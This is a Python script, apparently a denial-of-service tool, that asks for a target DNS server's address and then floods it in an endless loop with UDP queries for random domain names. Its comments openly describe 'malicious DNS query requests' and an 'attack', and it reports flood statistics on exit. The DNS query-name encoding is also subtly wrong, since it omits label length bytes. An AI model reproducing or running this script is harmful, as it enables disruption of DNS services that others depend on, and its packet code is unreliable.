import socket
import random
import time

# User-defined options
target_ip = input("Please enter the IP address of the target DNS server: ")
target_port = int(input("Please enter the port number of the target DNS server: "))
query_types = [1, 2, 5, 6]  # Query types: 1 for A record query, 2 for NS record query, 5 for CNAME record query, 6 for SOA record query

# Statistics
total_requests = 0
success_count = 0
failure_count = 0
start_time = time.time()

# Constructing malicious DNS query requests
def create_dns_query():
    domain = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for _ in range(random.randint(5, 10))) + '.com'  # Generate a random domain name
    query_type = random.choice(query_types)  # Randomly select a query type
    return domain, query_type

# Sending DNS query requests
def send_dns_query(domain, query_type):
    global total_requests, success_count, failure_count
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        query = bytearray()
        query += b'\x00\x00'  # Identifier
        query += b'\x01\x00'  # Flags
        query += b'\x00\x01'  # Question count
        query += b'\x00\x00'  # Answer count
        query += b'\x00\x00'  # Authority count
        query += b'\x00\x00'  # Additional count
        query += domain.encode()  # Query domain
        query += b'\x00'  # End marker
        query += b'\x00' + bytes([query_type])  # Query type
        query += b'\x00\x01'  # Query class
        sock.sendto(query, (target_ip, target_port))
        success_count += 1
    except Exception as e:
        print("An error occurred while sending the DNS query request:", e)
        failure_count += 1
    finally:
        total_requests += 1

# Main program
if __name__ == '__main__':
    try:
        while True:
            domain, query_type = create_dns_query()
            send_dns_query(domain, query_type)
    except KeyboardInterrupt:
        end_time = time.time()
        duration = end_time - start_time
        print(f"Attack completed, a total of {total_requests} requests were sent")
        print(f"Number of successful requests sent: {success_count}")
        print(f"Number of failed requests sent: {failure_count}")
        print(f"Percentage of successful requests sent: {success_count / total_requests * 100:.2f}%")
        print(f"Attack duration: {duration:.2f} seconds")
        print(f"Average requests per second: {total_requests / duration:.2f} requests/second")